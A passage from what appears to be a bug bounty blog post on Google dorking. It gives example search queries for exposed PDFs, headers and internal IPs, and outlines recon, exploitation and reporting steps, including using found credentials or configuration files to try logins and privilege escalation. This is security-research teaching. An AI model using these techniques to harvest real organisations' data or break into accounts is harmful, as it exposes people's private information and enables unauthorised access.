Example:

site:gov.in filetype:pdf "Signature"

Results may include tender documents with authorizing signatories and sensitive contact information.

Hunting Exposed IP Addresses

You can look for IP addresses by searching for headers or configuration exposures:

site:example.com intext:"X-Forwarded-For:"
site:example.com intext:"Server IP"

These dorks help you track misconfigured headers or identify internal infrastructure.

Google Dorks Collection for Bug Bounty and OSINT by Satyam Pawale on GitHub – A curated list of powerful search queries to uncover sensitive information, misconfigurations, and exposed assets for ethical hacking and security research.
Explore the ultimate Google Dorks collection by Satyam Pawale (@hackersatty) on GitHub – crafted for bug bounty hunters and OSINT researchers to uncover hidden vulnerabilities and exposed data.

Practical Use in Bug Bounty Programs

Here’s how to leverage these discoveries:

Recon Stage

  • Use Google Dorks to discover undocumented subdomains and portals.
  • Validate sensitive file exposure.

Exploitation Stage

  • Analyze PDF/Excel documents for hardcoded credentials or PII.
  • Use configuration files to attempt login or privilege escalation.

Reporting Stage

  • Provide the full Dork used.
  • Include metadata (e.g., PDF timestamp, author info).
  • Explain potential impact (e.g., credential reuse, data leakage).

Tips to Avoid False Positives

  • Validate URLs using tools like curl, wget, or Burp Suite.
  • Use Google Cache to grab deleted or moved files.
  • Be cautious of decoy pages or honeypots.

Tools to Combine With Google Dorks

  • GitHub Dorking Tools: Use github-dork to automate GitHub leak discovery.
  • GoogleHackingDatabase: Explore pre-built dorks from Exploit-DB.
  • DorkScanner: Automates mass scanning with custom dorks.
  • Burp Suite: Validate endpoints or files.

Final Thoughts : Other Bug Bounty Blogs

Google Dorking remains a powerful reconnaissance technique in modern bug bounty methodology. With the right mindset and crafted queries, it’s possible to uncover sensitive files, misconfigurations, credentials, and more—without sending a single request to the server. This makes it especially useful for stealthy or scope-sensitive bug bounty programs.

Remember: always stay within scope, validate what you find, and follow responsible disclosure guidelines.

Keep exploring. Keep hunting.

]]> https://hackersatty.com/google-dorks-bug-bounty-guide/feed/ 0 437